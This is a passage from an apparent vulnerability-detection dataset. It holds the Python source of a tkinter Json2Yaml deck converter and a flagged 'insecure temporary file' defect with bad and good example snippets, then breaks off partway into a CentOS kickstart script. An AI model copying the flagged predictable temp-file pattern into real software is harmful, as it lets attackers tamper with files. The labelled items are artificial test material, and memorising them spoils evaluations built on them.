messagebox\nfrom tkinter import ttk\nimport webbrowser\nimport pyperclip\n\nfrom j2y_data import *\n\nj2y_version = \"1.0.9.20200605.1\"\nproject_site = \"http://benzenpenxil.xyz/json2yaml-for-dice/\"\n\n#class type_system_info:\n# def __init__(self, name):\n# self.name = name\n#\n#system_info = type_system_info(os.name)\n\nclass type_deck:\n def __init__(self, name, author, version, command, desc, includes, info, default, import_list):\n self.name = name\n self.author = author\n self.version = version\n self.command = command\n self.desc = desc\n self.includes = includes\n self.info = info\n self.default = default\n self.import_list = import_list\n\ndeck = type_deck(\"\",\"\",\"\",\"\",\"\",[],\"\",\"\",[])\n\n#测试用代码\n#deck.name = \"彩六干员\"\n#deck.author = \"仑质\"\n#deck.version = \"191230\"\n#deck.command = \"彩六干员\"\n#deck.desc = \"抽取彩六干员\"\n#deck.includes = [\"干员档案\",\"干员性别\"]\n#deck.info = \"牌堆转换器测试用\"\n#deck.default = \"干员档案\"\n\ninput_file_name = \"\"\noutput_file_name = \"\"\noutput_file_name += deck.command\n\ngiveback_flag = 0\nversiontran_flag = 0\ntabtran_flag = 0\ninfoadd_flag = 1\nimport_flag = 1\n\ndict_import_default = {\"性别\": [\"男\", \"女\", \"不明\"]}\ndict_import_default.update(dict_from_shiki)\ndict_for_import = {}\ndict_for_import.update(dict_import_default)\n#dict_for_import.update({\"测试\": [\"测试\"]})\nlist_for_import_record = []\n\ndef filter_emoji(desstr, restr=\"[EMOJI]\"):\n try:\n co = re.compile(u'[\\U00010000-\\U0010ffff]')\n except re.error:\n co = re.compile(u'[\\uD800-\\uDBFF][\\uDC00-\\uDFFF]')\n return co.sub(restr, desstr)\n\ndef item_get_import_list(dict_this):\n output_list = []\n for key_this in list(dict_this.keys()):\n for item_this in dict_this.get(key_this):\n for in_item_key_this in re.finditer(\"\\{%{0,1}(.*?)\\}\", item_this):\n in_item_key_this_str = in_item_key_this.group().lstrip(\"{\").lstrip(\"%\").rstrip(\"}\")\n if in_item_key_this_str.find(\"{\") < 0 and in_item_key_this_str.find(\"}\") < 0:\n if in_item_key_this_str in list(dict_this.keys()):\n pass\n else:\n if in_item_key_this_str in output_list:\n pass\n else:\n output_list.append(in_item_key_this_str)\n return output_list\n\ndef str_get_import_list(str_this, dict_this):\n global list_for_import_record\n output_list = []\n for in_item_key_this in re.finditer(\"\\{%{0,1}(.*?)\\}\", str_this):\n in_item_key_this_str = in_item_key_this.group().lstrip(\"{\").lstrip(\"%\").rstrip(\"}\")\n if in_item_key_this_str not in list_for_import_record:\n if in_item_key_this_str.find(\"{\") < 0 and in_item_key_this_str.find(\"}\") < 0:\n if in_item_key_this_str in list(dict_this.keys()):\n pass\n else:\n if in_item_key_this_str in output_list:\n pass\n else:\n output_list.append(in_item_key_this_str)\n list_for_import_record.append(in_item_key_this_str)\n return output_list\n\ndef item_tran(item_this, flag):\n dice_flag = 0\n item_this_new=\"\"\n for i in range(0, len(item_this)):\n if item_this[i] == \"{\":\n if i + 1 <= len(item_this):\n if item_this[i + 1] != \"%\":\n if flag == 0:\n item_this_new += \"{%\"\n else:\n item_this_new += \"{$\"\n else:\n item_this_new += \"{$\"\n elif item_this[i] == \"%\":\n if i - 1 >= 0:\n if item_this[i - 1] == \"{\":\n pass\n else:\n item_this_new += item_this[i]\n else:\n item_this_new += item_this[i]\n elif item_this[i] == \"\\n\":\n item_this_new += \"\\\\n\"\n elif item_this[i] == \",\":\n item_this_new += \",\"\n elif item_this[i] == \"D\":\n if dice_flag == 0:\n item_this_new += item_this[i]\n else:\n item_this_new += \"d\"\n elif item_this[i] == \"[\":\n dice_flag += 1\n item_this_new += item_this[i]\n elif item_this[i] == \"]\":\n dice_flag -= 1\n item_this_new += item_this[i]\n else:\n item_this_new += item_this[i]\n return item_this_new\n\ndef item_tran2show(item_this):\n item_this_new = \"\"\n for i in range(0, len(item_this)):\n if item_this[i] == \"\\n\":\n item_this_new += \"\\\\n\"\n elif item_this[i] == \",\":\n item_this_new += \",\"\n else:\n item_this_new += item_this[i]\n item_this_new = filter_emoji(item_this_new)\n return item_this_new\n\ndef add_import_work(dict_need_import, dict_for_import, output_str, dict_this):\n global tabtran_flag\n global giveback_flag\n global list_for_import_record\n dict_need_import_next = []\n for key_this in dict_need_import:\n if key_this in list(dict_for_import.keys()):\n output_str += key_this + \":\\n\"\n if tabtran_flag != 0:\n output_tran_flag_tmp = 1\n for item_this in dict_for_import.get(key_this):\n dict_need_import_next += str_get_import_list(item_this, dict_this)\n item_this = item_tran(item_this, giveback_flag)\n if output_tran_flag_tmp == 0:\n output_str += \" - \\\"\" + item_this + \"\\\"\\n\"\n else:\n output_tran_flag_tmp = 0\n output_str += \" - \\\" \" + item_this + \"\\\"\\n\"\n if dict_need_import_next != []:\n output_str = add_import_work(dict_need_import_next, dict_for_import, output_str, dict_this)\n return output_str\n\ndef json2yaml_work():\n global giveback_flag\n global versiontran_flag\n global infoadd_flag\n global import_flag\n global deck\n global input_file_name\n global output_file_name\n global root\n global progress_obj\n global list_for_import_record\n progress_obj[\"value\"] = 0\n root.update()\n output_str = \"#必要信息\\nname: \" + deck.name\n output_str += \"\\nauthor: \" + deck.author\n output_str += \"(使用Json2Yaml转换生成)\"\n output_str += \"\\nversion: \"\n if versiontran_flag == 0:\n output_str += deck.version\n else:\n output_str += deck.version.replace(\".\", \"_\")\n output_str += \"\\ncommand: \" + deck.command\n output_str += \"\\ndesc: \" + deck.desc\n if deck.includes != [\"\"]:\n deck.includes_str = \"\"\n for str_now in deck.includes:\n deck.includes_str += \" - \\\"\" + str_now + \"\\\"\\n\"\n output_str += \"\\nincludes:\\n\" + deck.includes_str\n else:\n output_str += \"\\n\"\n if infoadd_flag != 0:\n output_str += \"\\n#作者信息\\ninfo:\\n - \\\"\" + \"本牌堆使用Json2Yaml(By BenzenPenxil)自动转换生成\\\\n转换器版本号:\" + j2y_version + \"\\\\n牌堆原作者:\" + deck.author + \"\\\"\\n\"\n output_str += \"\\n#牌堆部分\\n\"\n progress_obj[\"value\"] = 5\n root.update()\n\n try:\n with open(input_file_name,\"r\",encoding=\"utf-8\") as input_file_obj:\n input_str = input_file_obj.read()\n if input_str.startswith(codecs.BOM_UTF8.decode(\"UTF-8\")):\n input_dict = json.loads(input_str[1:], encoding=\"utf-8\")\n else:\n input_dict = json.loads(input_str, encoding=\"utf-8\")\n progress_obj[\"value\"] = 10\n root.update()\n except json.decoder.JSONDecodeError as error_info:\n input_file_name = \"\"\n file_name_str.set(file_name_head + \"请确保文件的Json格式没有错误\")\n tkinter.messagebox.showerror(\"json.decoder.JSONDecodeError\", error_info)\n progress_obj[\"value\"] = 0\n root.update()\n except UnicodeDecodeError as error_info:\n input_file_name = \"\"\n file_name_str.set(file_name_head + \"请确保文件编码格式是UTF-8\")\n tkinter.messagebox.showerror(\"UnicodeDecodeError\", error_info)\n progress_obj[\"value\"] = 0\n root.update()\n else:\n output_tran_flag_tmp = 0\n if deck.default in input_dict:\n output_str += \"default:\\n\"\n if tabtran_flag != 0:\n output_tran_flag_tmp = 1\n for item_this in input_dict.get(deck.default):\n item_this = item_tran(item_this, giveback_flag)\n if output_tran_flag_tmp == 0:\n output_str += \" - \\\"\" + item_this + \"\\\"\\n\"\n else:\n output_tran_flag_tmp = 0\n output_str += \" - \\\" \" + item_this + \"\\\"\\n\"\n progress_obj[\"value\"] = 15\n root.update()\n count_work = 0\n for key_this in list(input_dict.keys()):\n count_work += len(input_dict.get(key_this)) + 1\n if count_work <= 75:\n count_step = 1\n else:\n count_step = int(count_work / 75)\n id_count_all = 0\n for key_this in list(input_dict.keys()):\n output_str += key_this + \":\\n\"\n id_count_all += 1\n progress_obj[\"value\"] = int(id_count_all * 75 / count_work + 15)\n root.update()\n if tabtran_flag != 0:\n output_tran_flag_tmp = 1\n for item_this in input_dict.get(key_this):\n item_this = item_tran(item_this, giveback_flag)\n if output_tran_flag_tmp == 0:\n output_str += \" - \\\"\" + item_this + \"\\\"\\n\"\n else:\n output_tran_flag_tmp = 0\n output_str += \" - \\\" \" + item_this + \"\\\"\\n\"\n id_count_all += 1\n if id_count_all % (count_step) == 0:\n progress_obj[\"value\"] = int(id_count_all * 75 / count_work + 15)\n root.update()\n if import_flag != 0:\n list_for_import_record = []\n dict_need_import_next = []\n deck.import_list = item_get_import_list(input_dict)\n deck_import_list = deck.import_list.copy()\n for key_this in deck_import_list:\n if key_this in list(dict_for_import.keys()):\n deck.import_list.remove(key_this)\n output_str += key_this + \":\\n\"\n if tabtran_flag != 0:\n output_tran_flag_tmp = 1\n for item_this in dict_for_import.get(key_this):\n dict_need_import_next += str_get_import_list(item_this, input_dict)\n item_this = item_tran(item_this, giveback_flag)\n if output_tran_flag_tmp == 0:\n output_str += \" - \\\"\" + item_this + \"\\\"\\n\"\n else:\n output_tran_flag_tmp = 0\n output_str += \" - \\\" \" + item_this + \"\\\"\\n\"\n if dict_need_import_next != []:\n output_str = add_import_work(dict_need_import_next, dict_for_import, output_str, input_dict)\n if len(deck.import_list) != 0:\n tkinter.messagebox.showwarning(\"未解决的依赖项\", \"以下依赖项未找到:\\n - \" + \"\\n - \".join(deck.import_list) + \"\\n将会导致抽取时无法正常调用。\")\n\n with open(output_file_name, \"w\", encoding=\"utf-8\") as output_file_obj:\n output_file_obj.write(output_str)\n progress_obj[\"value\"] = 100\n root.update()\n\ndef select_file():\n global file_name_str\n global tree\n global input_file_name\n global root\n global progress_obj\n progress_obj[\"value\"] = 0\n root.update()\n file_name = tkinter.filedialog.askopenfilenames(title=\"请选择Json文件\", filetypes=[(\"Json\", \"*.json\"), (\"All Files\", \"*\")])\n progress_obj[\"value\"] = 5\n root.update()\n if len(file_name) == 1:\n for file_name_now in file_name:\n try:\n with open(file_name_now,\"r\",encoding=\"utf-8\") as input_file_obj:\n input_str = input_file_obj.read()\n if input_str.startswith(codecs.BOM_UTF8.decode(\"UTF-8\")):\n input_dict = json.loads(input_str[1:], encoding=\"utf-8\")\n else:\n input_dict = json.loads(input_str, encoding=\"utf-8\")\n progress_obj[\"value\"] = 25\n root.update()\n except json.decoder.JSONDecodeError as error_info:\n input_file_name = \"\"\n file_name_str.set(file_name_head + \"请确保文件的Json格式没有错误\")\n tkinter.messagebox.showerror(\"json.decoder.JSONDecodeError\", error_info)\n progress_obj[\"value\"] = 0\n root.update()\n except UnicodeDecodeError as error_info:\n input_file_name = \"\"\n file_name_str.set(file_name_head + \"请确保文件编码格式是UTF-8\")\n tkinter.messagebox.showerror(\"UnicodeDecodeError\", error_info)\n progress_obj[\"value\"] = 0\n root.update()\n else:\n count_work = 0\n for key_this in list(input_dict.keys()):\n count_work += len(input_dict.get(key_this)) + 1\n input_file_name = file_name_now\n file_name_str.set(file_name_head + \"\\\"\" + file_name_now + \"\\\"\")\n if len(tree.get_children()) != 0:\n for tree_children_now in tree.get_children():\n tree.delete(tree_children_now)\n if count_work <= 75:\n count_step = 1\n else:\n count_step = int(count_work / 75)\n tree_id_0_count = 0\n tree_id_all_count = 0\n for key_this in list(input_dict.keys()):\n tree_id_0 = tree.insert(\"\", tree_id_0_count, key_this + \"#\" + str(tree_id_all_count), text=key_this, value=str(tree_id_all_count))\n tree_id_all_count += 1\n tree_id_1_count = 0\n progress_obj[\"value\"] = int(tree_id_all_count * 75 / count_work + 25)\n root.update()\n for item_this in input_dict.get(key_this):\n item_this = item_tran2show(item_this)\n tree_id_1 = tree.insert(tree_id_0, tree_id_1_count, item_this + \"#\" + str(tree_id_all_count), text=item_this, value=str(tree_id_all_count))\n tree_id_all_count += 1\n tree_id_1_count += 1\n if tree_id_all_count % (count_step) == 0:\n progress_obj[\"value\"] = int(tree_id_all_count * 75 / count_work + 25)\n root.update()\n #print(tree_id_all_count)\n tree_id_0_count += 1\n if import_flag != 0:\n import_list_tmp = item_get_import_list(input_dict)\n #print(\"|\".join(import_list_tmp))\n if len(import_list_tmp) != 0:\n tkinter.messagebox.showwarning(\"存在依赖项\", \"扫描中发现以下被引用项不包含于导入文件中:\\n - \" + \"\\n - \".join(import_list_tmp) + \"\\n请确保可以提供这些依赖项。\" )\n progress_obj[\"value\"] = 100\n root.update()\n #print(tree_id_all_count)\n #print(tree.get_children())\n elif len(file_name) == 0:\n if len(input_file_name) == 0:\n file_name_str.set(file_name_head + \"请选择文件!\")\n tkinter.messagebox.showwarning(\"警告\", \"请选择文件!\")\n progress_obj[\"value\"] = 0\n root.update()\n else:\n if len(input_file_name) == 0:\n file_name_str.set(file_name_head + \"请一次只选择一个文件!\")\n tkinter.messagebox.showwarning(\"警告\", \"请一次只选择一个文件!\")\n progress_obj[\"value\"] = 0\n root.update()\n\ndef tran_save():\n global t1\n global t2\n global t3\n global t4\n global t5\n global t6\n global deck\n global input_file_name\n global output_file_name\n global root\n #file_name = tkinter.filedialog.asksaveasfilename(initialdir = \"./test\")\n if len(input_file_name) != 0:\n file_path = tkinter.filedialog.askdirectory(title=\"选择保存路径\")\n if len(file_path) != 0:\n #print(file_path)\n try:\n deck.name = t1.get()\n deck.author = t2.get()\n deck.version = t3.get()\n deck.command = t1.get()\n deck.desc = t4.get()\n deck.includes = t5.get().split(\",\")\n deck.default = t6.get()\n except UnicodeDecodeError as error_info:\n tkinter.messagebox.showerror(\"UnicodeDecodeError\", error_info)\n progress_obj[\"value\"] = 0\n root.update()\n else:\n output_file_name = file_path + \"/\" + deck.name\n #print(deck.includes)\n json2yaml_work()\n tkinter.messagebox.showinfo(\"完成\",\"已保存到 \" + output_file_name)\n else:\n tkinter.messagebox.showwarning(\"警告\", \"请选择保存路径!\")\n progress_obj[\"value\"] = 0\n root.update()\n else:\n tkinter.messagebox.showwarning(\"警告\", \"请先选择要转换的Json文件!\")\n progress_obj[\"value\"] = 0\n root.update()\n\ndef load_import():\n global dict_for_import\n global dict_import_default\n input_file_name = \"\"\n progress_obj[\"value\"] = 0\n root.update()\n file_name = tkinter.filedialog.askopenfilenames(title=\"请选择Json文件\", filetypes=[(\"Json\", \"*.json\"), (\"All Files\", \"*\")])\n progress_obj[\"value\"] = 5\n root.update()\n if len(file_name) > 0:\n count_error = 0\n for file_name_now in file_name:\n try:\n with open(file_name_now,\"r\",encoding=\"utf-8\") as input_file_obj:\n input_str = input_file_obj.read()\n if input_str.startswith(codecs.BOM_UTF8.decode(\"UTF-8\")):\n input_dict = json.loads(input_str[1:], encoding=\"utf-8\")\n else:\n input_dict = json.loads(input_str, encoding=\"utf-8\")\n progress_obj[\"value\"] = 25\n root.update()\n except json.decoder.JSONDecodeError as error_info:\n input_file_name = \"\"\n file_name_str.set(file_name_head + \"请确保文件的Json格式没有错误\")\n #tkinter.messagebox.showerror(\"json.decoder.JSONDecodeError\", error_info)\n count_error += 1\n progress_obj[\"value\"] = 0\n root.update()\n except UnicodeDecodeError as error_info:\n input_file_name = \"\"\n file_name_str.set(file_name_head + \"请确保文件编码格式是UTF-8\")\n #tkinter.messagebox.showerror(\"UnicodeDecodeError\", error_info)\n count_error += 1\n progress_obj[\"value\"] = 0\n root.update()\n else:\n dict_for_import.update(**input_dict)\n dict_for_import.update(**dict_import_default)\n #dict_for_import = {**dict_for_import, **input_dict}\n #print(len(dict_for_import))\n progress_obj[\"value\"] = 100\n root.update()\n tkinter.messagebox.showinfo(\"依赖项已更新\", \"当前已载入\" + str(len(dict_for_import)) + \"个备用依赖项\\n尝试载入\" + str(len(file_name)) + \"个文件\\n其中共有\" + str(count_error) + \"个加载失败\")\n elif len(file_name) == 0:\n if len(input_file_name) == 0:\n file_name_str.set(file_name_head + \"请选择文件!\")\n tkinter.messagebox.showwarning(\"警告\", \"请选择文件!\")\n progress_obj[\"value\"] = 0\n root.update()\n else:\n if len(input_file_name) == 0:\n file_name_str.set(file_name_head + \"请一次只选择一个文件!\")\n tkinter.messagebox.showwarning(\"警告\", \"请一次只选择一个文件!\")\n progress_obj[\"value\"] = 0\n root.update()\n\ndef clear_conf():\n global t1\n global t2\n global t3\n global t4\n global t5\n global t6\n t1.set(\"\")\n t2.set(\"\")\n t3.set(\"\")\n t4.set(\"\")\n t5.set(\"\")\n t6.set(\"\")\n\ndef giveback_switch():\n global giveback_flag\n global root\n global set_menu\n if giveback_flag == 0:\n giveback_flag = 1\n set_menu.entryconfig(1, label=\"忽略不放回[√]\")\n else:\n giveback_flag = 0\n set_menu.entryconfig(1, label=\"忽略不放回[×]\")\n #print(str(giveback_flag))\n\ndef versiontran_switch():\n global versiontran_flag\n global root\n global set_menu\n if versiontran_flag == 0:\n versiontran_flag = 1\n set_menu.entryconfig(2, label=\"版本号优化[√]\")\n else:\n versiontran_flag = 0\n set_menu.entryconfig(2, label=\"版本号优化[×]\")\n\ndef tabtran_switch():\n global tabtran_flag\n global root\n global set_menu\n if tabtran_flag == 0:\n tabtran_flag = 1\n set_menu.entryconfig(3, label=\"排版格式优化[√]\")\n else:\n tabtran_flag = 0\n set_menu.entryconfig(3, label=\"排版格式优化[×]\")\n\ndef infoadd_switch():\n global infoadd_flag\n global root\n global set_menu\n if infoadd_flag == 0:\n infoadd_flag = 1\n set_menu.entryconfig(4, label=\"附加Info项[√]\")\n else:\n infoadd_flag = 0\n set_menu.entryconfig(4, label=\"附加Info项[×]\")\n\ndef import_switch():\n global import_flag\n global root\n global set_menu\n if import_flag == 0:\n import_flag = 1\n set_menu.entryconfig(5, label=\"尝试解决依赖项[√]\")\n else:\n import_flag = 0\n set_menu.entryconfig(5, label=\"尝试解决依赖项[×]\")\n\ndef show_info():\n tkinter.messagebox.showinfo(\"Json2Yaml By BenzenPenxil\",\"Json2Yaml基于Python\\n\\n项目主页:\\n\" + project_site + \"\\n\\n作者:仑质(BenzenPenxil)\\n版本:\" + j2y_version + \"\\n有问题请联系QQ:137334701\")\n\ndef show_project_site():\n tkinter.messagebox.showinfo(\"提示\", \"将通过浏览器访问 \" + project_site)\n try:\n webbrowser.open(project_site)\n except webbrowser.Error as error_info:\n tkinter.messagebox.showerror(\"webbrowser.Error\", error_info)\n\ndef tree_copy(obj, event=None):\n length_select = len(obj.selection())\n if length_select != 0:\n str_select = obj.selection()[0]\n str_select_len = len(str_select)\n for i in range(1, str_select_len):\n if str_select[-i] == \"#\":\n pyperclip.copy(str_select[-str_select_len: - i])\n break\n\ndef tree_set_name(obj, event=None):\n global t1\n length_select = len(obj.selection())\n if length_select != 0:\n str_select = obj.selection()[0]\n str_select_len = len(str_select)\n for i in range(1, str_select_len):\n if str_select[-i] == \"#\":\n t1.set(str_select[-str_select_len: - i])\n break\n\ndef tree_add_includes(obj, event=None):\n global t5\n length_select = len(obj.selection())\n if length_select != 0:\n str_select = obj.selection()[0]\n str_select_len = len(str_select)\n for i in range(1, str_select_len):\n if str_select[-i] == \"#\":\n if t5.get().split(\",\") != [\"\"]:\n if str_select[-str_select_len: - i] in t5.get().split(\",\"):\n pass\n else:\n tmp_t5_str = t5.get().split(\",\")\n tmp_t5_str.append(str_select[-str_select_len: - i])\n t5.set(\",\".join(tmp_t5_str))\n else:\n t5.set(str_select[-str_select_len: - i])\n break\n\ndef tree_set_default(obj, event=None):\n global t5\n global t6\n length_select = len(obj.selection())\n if length_select != 0:\n str_select = obj.selection()[0]\n str_select_len = len(str_select)\n for i in range(1, str_select_len):\n if str_select[-i] == \"#\":\n t6.set(str_select[-str_select_len: - i])\n if t5.get().split(\",\") != [\"\"]:\n if \"default\" in t5.get().split(\",\"):\n pass\n else:\n tmp_t5_str = t5.get().split(\",\")\n tmp_t5_str.append(\"default\")\n t5.set(\",\".join(tmp_t5_str))\n else:\n t5.set(\"default\")\n break\n\ndef tree_rightKey(event, obj):\n tree_rightkey_menu.delete(0, tkinter.END)\n tree_rightkey_menu.add_command(label=\"复制\", command=lambda: tree_copy(obj, event))\n tree_rightkey_menu.add_command(label=\"设为名称/指令\", command=lambda: tree_set_name(obj, event))\n tree_rightkey_menu.add_command(label=\"加入子指令\", command=lambda: tree_add_includes(obj, event))\n tree_rightkey_menu.add_command(label=\"设为default\", command=lambda: tree_set_default(obj, event))\n tree_rightkey_menu.post(event.x_root, event.y_root)\n\ndef entry_cut(editor, event=None):\n editor.event_generate(\"<>\")\n\ndef entry_copy(editor, event=None):\n editor.event_generate(\"<>\")\n\ndef entry_paste(editor, event=None):\n editor.event_generate('<>')\n\ndef entry_clear(editor, event=None):\n global root\n root.globalsetvar(editor[\"textvariable\"], \"\")\n\ndef entry_rightKey(event, editor):\n entry_rightkey_menu.delete(0, tkinter.END)\n entry_rightkey_menu.add_command(label='剪切', command=lambda: entry_cut(editor))\n entry_rightkey_menu.add_command(label='复制', command=lambda: entry_copy(editor))\n entry_rightkey_menu.add_command(label='粘贴', command=lambda: entry_paste(editor))\n entry_rightkey_menu.add_command(label='清空', command=lambda: entry_clear(editor))\n entry_rightkey_menu.post(event.x_root,event.y_root)\n\nif __name__ == \"__main__\":\n root = tkinter.Tk()\n root.title(\"Json2Yaml By BenzenPenxil\")\n root.geometry(\"560x624\")\n root.resizable(width=False, height=False)\n\n file_name_head = \"Json文件路径:\"\n file_name_str = tkinter.StringVar()\n file_name_str.set(file_name_head + \"请选择文件!\")\n L1 = tkinter.Label(root, textvariable = file_name_str)\n L1.place(x=0, y=0, width=560,height=32)\n\n entry_rightkey_menu = tkinter.Menu(root,tearoff=False)\n\n EtL1 = tkinter.Label(root, text = \"名称/指令\")\n EtL1.place(x=0, y=432, width=60,height=32)\n t1 = tkinter.StringVar()\n t1.set(\"名称与指令\")\n Et1 = tkinter.Entry(root, textvariable=t1)\n Et1.place(x=60, y=432, width=500, height=32)\n Et1.bind(\"\", lambda x: entry_rightKey(x, Et1))\n\n EtL2 = tkinter.Label(root, text = \"作者\")\n EtL2.place(x=0, y=464, width=60,height=32)\n t2 = tkinter.StringVar()\n t2.set(\"作者\")\n Et2 = tkinter.Entry(root, textvariable=t2)\n Et2.place(x=60, y=464, width=500, height=32)\n Et2.bind(\"\", lambda x: entry_rightKey(x, Et2))\n\n EtL3 = tkinter.Label(root, text = \"版本\")\n EtL3.place(x=0, y=496, width=60,height=32)\n t3 = tkinter.StringVar()\n t3.set(\"版本\")\n Et3 = tkinter.Entry(root, textvariable=t3)\n Et3.place(x=60, y=496, width=500, height=32)\n Et3.bind(\"\", lambda x: entry_rightKey(x, Et3))\n\n EtL4 = tkinter.Label(root, text = \"描述\")\n EtL4.place(x=0, y=528, width=60,height=32)\n t4 = tkinter.StringVar()\n t4.set(\"描述\")\n Et4 = tkinter.Entry(root, textvariable=t4)\n Et4.place(x=60, y=528, width=500, height=32)\n Et4.bind(\"\", lambda x: entry_rightKey(x, Et4))\n\n EtL5 = tkinter.Label(root, text = \"子指令\")\n EtL5.place(x=0, y=560, width=60,height=32)\n t5 = tkinter.StringVar()\n t5.set(\"子指令\")\n Et5 = tkinter.Entry(root, textvariable=t5)\n Et5.place(x=60, y=560, width=500, height=32)\n Et5.bind(\"\", lambda x: entry_rightKey(x, Et5))\n\n EtL6 = tkinter.Label(root, text = \"Default\")\n EtL6.place(x=0, y=592, width=60,height=32)\n t6 = tkinter.StringVar()\n t6.set(\"Default\")\n Et6 = tkinter.Entry(root, textvariable=t6)\n Et6.place(x=60, y=592, width=500, height=32)\n Et6.bind(\"\", lambda x: entry_rightKey(x, Et6))\n\n #Btn1 = tkinter.Button(root, text = \"选择文件\", command = select_file)\n #Btn1.place(x=500, y=0, width=60, height=32)\n #Btn2 = tkinter.Button(root, text=\"开始转换\", command = tran_save)\n #Btn2.place(x=500, y=592, width=60, height=32)\n #Btn3 = tkinter.Button(root, text=\"i\", command = show_info)\n #Btn3.place(x=528, y=432, width=32, height=32)\n\n menu_bar = tkinter.Menu(root)\n file_menu = tkinter.Menu(menu_bar, tearoff=0)\n set_menu = tkinter.Menu(menu_bar, tearoff=0)\n info_menu = tkinter.Menu(menu_bar, tearoff=0)\n menu_bar.add_cascade(label=\"文件\", menu=file_menu)\n menu_bar.add_cascade(label=\"操作\", menu=set_menu)\n menu_bar.add_cascade(label=\"关于\", menu=info_menu)\n file_menu.add_command(label=\"导入文件\", command=select_file)\n file_menu.add_command(label=\"开始转换\", command=tran_save)\n file_menu.add_command(label=\"加载依赖项\", command=load_import)\n set_menu.add_command(label=\"清空所有设置栏\", command=clear_conf)\n set_menu.add_command(label=\"忽略不放回[×]\", command=giveback_switch)\n set_menu.add_command(label=\"版本号优化[√]\", command=versiontran_switch)\n set_menu.add_command(label=\"排版格式优化[×]\", command=tabtran_switch)\n set_menu.add_command(label=\"附加Info项[√]\", command=infoadd_switch)\n set_menu.add_command(label=\"尝试解决依赖项[√]\", command=import_switch)\n info_menu.add_command(label=\"关于\", command=show_info)\n info_menu.add_command(label=\"查看项目\", command=show_project_site)\n root.config(menu=menu_bar)\n\n if giveback_flag != 0:\n set_menu.entryconfig(1, label=\"忽略不放回[√]\")\n else:\n set_menu.entryconfig(1, label=\"忽略不放回[×]\")\n if versiontran_flag != 0:\n set_menu.entryconfig(2, label=\"版本号优化[√]\")\n else:\n set_menu.entryconfig(2, label=\"版本号优化[×]\")\n if tabtran_flag != 0:\n set_menu.entryconfig(3, label=\"排版格式优化[√]\")\n else:\n set_menu.entryconfig(3, label=\"排版格式优化[×]\")\n if infoadd_flag != 0:\n set_menu.entryconfig(4, label=\"附加Info项[√]\")\n else:\n set_menu.entryconfig(4, label=\"附加Info项[×]\")\n if import_flag != 0:\n set_menu.entryconfig(5, label=\"尝试解决依赖项[√]\")\n else:\n set_menu.entryconfig(5, label=\"尝试解决依赖项[×]\")\n\n t1.set(\"填入牌堆名,这同时也将是该牌堆的对应指令\")\n t2.set(\"填入作者\")\n t3.set(\"填入版本号\")\n t4.set(\"填入对于该牌堆的描述\")\n t5.set(\",\".join([\"填入子指令并用半角逗号隔开\"]))\n t6.set(\"要设置子指令缺省时的调用项请设置此项\")\n\n #测试用\n #t1.set(deck.name)\n #t2.set(deck.author)\n #t3.set(deck.version)\n #t4.set(deck.desc)\n #t5.set(\",\".join(deck.includes))\n #t6.set(deck.default)\n\n tree = ttk.Treeview(root)\n tree.place(x=0, y=32, width=545, height=401)\n tree_rightkey_menu = tkinter.Menu(root,tearoff=False)\n tree.bind(\"\", lambda x: tree_rightKey(x, tree))\n\n progress_obj = ttk.Progressbar(root, orient=\"horizontal\", length=560, mode=\"determinate\")\n progress_obj.place(x=0, y=32, width=560, height=25)\n progress_obj[\"maximum\"] = 100\n progress_obj[\"value\"] = 0\n\n tree.columnconfigure(0, weight=1)\n\n tree_yscroll = ttk.Scrollbar(root, orient=\"vertical\", command=tree.yview)\n tree_yscroll.place(x=544, y=57, width=16, height=375)\n tree.configure(yscrollcommand=tree_yscroll.set)\n\n with open(\"tmp.ico\", \"wb+\") as tmp:\n tmp.write(base64.b64decode(favicon_ico))\n root.iconbitmap(\"tmp.ico\")\n os.remove(\"tmp.ico\")\n root.mainloop()\n #json2yaml_work()\n", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 675, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "675"}}, {"lineNo": 816, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "eba8d823ca0314b9f29d43d73ef70d8eb82016e5aaa403153f49cdb38cff8c66", "license": {"spdx": ["Unlicense"], "repo": "ulzeraj/autobond-autoraid-kickstarter", "path": "create-kickstart.py", "repo_head_hexsha": "935d9857fe31c9a70a4cdda5e872060abf09238d", "stack_hexsha": "d517cc6539e57b415b0f04b37c782b97faf26a2f", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 145, "entireCode": "#!/usr/bin/python2.6\n#-*- coding: utf-8 -*-\nimport signal\nimport subprocess\nfrom glob import glob\nfrom os import listdir\nfrom os.path import basename, dirname\n\nlabel = 'CentOS_6.9_Final'\n\n\ndef listifaces():\n ethernet = []\n for iface in listdir('/sys/class/net/'):\n if iface != 'lo':\n ethernet.append(iface)\n return ethernet\n\n\ndef listblocks():\n drive = '/sys/block/*/device'\n return [basename(dirname(d)) for d in glob(drive)]\n\n\ndef listlabel(dev):\n command = '/usr/sbin/blkid -o value -s LABEL {0}'.format(dev)\n try:\n lsblk = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)\n output = lsblk.communicate()[0].rstrip()\n return output\n except:\n pass\n\n\ndef discoverdisks():\n disklist = []\n for dev in listblocks():\n removable = open('/sys/block/{0}/removable'.format(dev)).readline()\n disklist.append([dev, removable.rstrip()])\n return disklist\n\n\ndef getinternal(disklist):\n internal = []\n for dev in disklist:\n if dev[1] == '0':\n internal.append(dev[0])\n return internal\n\n\ndef getremovable(disklist):\n removable = []\n for dev in disklist:\n if dev[1] == '1':\n removable.append(dev[0])\n return removable\n\n\ndef getinstallmedia(disklist):\n for dev in disklist:\n firstpart = '/dev/{0}1'.format(dev[0])\n relativep = '{0}1'.format(dev[0])\n partlabel = listlabel(firstpart)\n if partlabel == label:\n return relativep\n\n\ndiscoverdisks = discoverdisks()\nsource = getinstallmedia(discoverdisks)\nlocaldisks = sorted(getinternal(discoverdisks))[:2]\nnics = ','.join(listifaces())\n\nkickstart = \"\"\"lang en_US.UTF-8\nkeyboard 